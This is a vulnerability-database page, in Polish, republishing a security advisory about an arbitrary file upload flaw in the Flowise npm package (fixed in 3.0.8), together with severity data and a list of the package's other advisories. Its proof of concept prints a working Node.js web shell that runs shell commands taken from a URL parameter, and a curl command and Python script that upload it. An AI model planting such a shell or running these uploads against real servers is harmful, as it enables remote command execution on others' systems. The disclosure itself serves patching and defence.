Wysoka

FlowiseAI/Flosise has File Upload vulnerability

  • Ujawniono: 08.10.2025
  • Aktualizacja: 11.10.2026 10:22

Summary

A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).

Details

The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.

The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.

Taint Flow

PoC

shell.js (Node.js Web Shell)

js
const { exec } = require('child_process');
const http = require('http');

const server = http.createServer((req, res) => {
    const url = new URL(req.url, 'http://localhost');
    const cmd = url.searchParams.get('cmd');

    if (cmd) {
        console.log(`Executing: ${cmd}`);
        exec(cmd, (error, stdout, stderr) => {
            res.writeHead(200, {'Content-Type': 'text/plain'});
            if (error) {
                res.end(`Error: ${error.message}\n${stderr || ''}`);
            } else {
                res.end(stdout || 'Command executed successfully');
            }
        });
    } else {
        res.writeHead(200, {'Content-Type': 'text/html'});
        res.end(`
            <h1>Node.js Web Shell</h1>
            <p>Use ?cmd=command to execute</p>
            <p>Example: ?cmd=id</p>
        `);
    }
});

const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
    console.log(`Shell running on port ${PORT}`);
    console.log(`Access: http://localhost:${PORT}?cmd=id`);
});

curl Upload

bash
curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \
  -H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \
  -F "files=@shell.js;type=application/javascript"

Python Upload Script

python
import requests
import uuid

TARGET_URL = "http://localhost:3000"
CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516133fc"
TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0"
CHAT_ID = str(uuid.uuid4())

def upload_shell():
    url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
    headers = {'Cookie': f'jwt={TOKEN}'}
    files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
    r = requests.post(url, headers=headers, files=files)

    if r.status_code == 200:
        print("[✓] Upload success")
        print(r.text)
    else:
        print(f"[✗] Upload failed ({r.status_code})")
        print(r.text)

if __name__ == "__main__":
    upload_shell()
<img width="1900" height="981" alt="image" src="https://github.com/user-attachments/assets/e0d6a11e-445e-447c-a8f3-c0cb0b9ffb3f" />

Impact

An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm flowise >= 3.0.7, < 3.0.8 3.0.8

Odnośniki

Ocena CVSS 8.3/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
Słabość (CWE)
CWE-434
Platforma
npm
Paczka
flowise
Ujawniono
08.10.2025
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-35g6-rrw3-v6xc - CC BY 4.0

Historia podatności: flowise

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (114) w archiwum
Wszystkich wpisów
114
Pierwsza → ostatnia
04.2024 10.2026
Bez poprawki
16
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 28
  • Wysoka 62
  • Średnia 24

Ujawnienia w latach

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Istotność:
  1. Wysoka CVE-2026-70474 < 3.1.3 3.1.3
  2. Krytyczna CVE-2026-69259 < 3.1.3 3.1.3
  3. Krytyczna CVE-2026-69256 < 3.1.3 3.1.3
  4. Krytyczna CVE-2026-69253 < 3.1.3 3.1.3
  5. Krytyczna CVE-2026-69251 < 3.1.3 3.1.3
  6. Wysoka · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  7. Wysoka CVE-2026-46443 < 3.1.2 3.1.2
  8. Wysoka CVE-2026-56274 < 3.1.2 3.1.2
  9. Wysoka · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  10. Krytyczna · 9.8 CVE-2026-41264 < 3.1.0 3.1.0
  11. Wysoka · 9.8 CVE-2026-41276 < 3.1.0 3.1.0
  12. Wysoka CVE-2026-41274 < 3.1.0 3.1.0
  13. Wysoka · 7.5 CVE-2026-41275 < 3.1.0 3.1.0
  14. Wysoka · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  15. Wysoka · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  16. Wysoka · 7.1 CVE-2026-41269 < 3.1.0 3.1.0
  17. Wysoka · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  18. Wysoka · 7.5 CVE-2026-41266 < 3.1.0 3.1.0
  19. Krytyczna · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  20. Krytyczna · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
  21. Wysoka CVE-2026-30824 < 3.0.13 3.0.13
  22. Wysoka · 7.7 CVE-2026-30822 < 3.0.13 3.0.13
  23. Wysoka CVE-2026-30821 < 3.0.13 3.0.13
  24. Wysoka · 8.1 CVE-2025-71335 < 3.0.10 3.0.10
  25. Wysoka · 7.7 ghsa-j44m-5v8f-gc9c < 3.0.8 3.0.8
  26. Krytyczna · 9.9 CVE-2025-61913 < 3.0.8, < 3.0.8 3.0.8
  27. FlowiseAI/Flosise has File Upload vulnerability ten wpis
    Wysoka · 8.3 CVE-2025-61687 >= 3.0.7, < 3.0.8 3.0.8
  28. Krytyczna · 9.8 CVE-2025-55346 <= 2.2.7-patch.1 brak poprawki
  29. Wysoka CVE-2025-71336 >= 2.2.7-patch.1, < 3.0.6 3.0.6
  30. Krytyczna · 9.8 CVE-2025-71334 >= 2.2.8, < 3.0.6 3.0.6
  31. Krytyczna · 9.1 CVE-2025-71324 >= 3.0.5, < 3.0.6 3.0.6
  32. Krytyczna · 10.0 CVE-2025-59528 >= 3.0.5, < 3.0.6 3.0.6
  33. Wysoka · 7.5 CVE-2025-59527 >= 3.0.5, < 3.0.6 3.0.6
  34. Krytyczna · 9.1 CVE-2025-57164 >= 3.0.5, < 3.0.6 3.0.6
  35. Krytyczna · 9.8 CVE-2025-8943 <= 3.0.5 brak poprawki
  36. Krytyczna · 10.0 CVE-2025-71338 <= 2.2.7 brak poprawki
  37. Krytyczna CVE-2025-71333 <= 2.2.7 brak poprawki
  38. Wysoka CVE-2025-26319 <= 2.2.6 brak poprawki
  39. Wysoka CVE-2024-58351 < 2.1.4 2.1.4
  40. Wysoka · 7.5 CVE-2024-8182 <= 1.8.2 brak poprawki
  41. Wysoka · 7.3 CVE-2024-8181 <= 1.8.2 brak poprawki
  42. Wysoka · 7.5 CVE-2024-36421 <= 1.4.3 brak poprawki
  43. Wysoka · 7.5 CVE-2024-36420 <= 1.4.3 brak poprawki
  44. Wysoka · 7.6 CVE-2024-31621 < 1.8.1 1.8.1

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.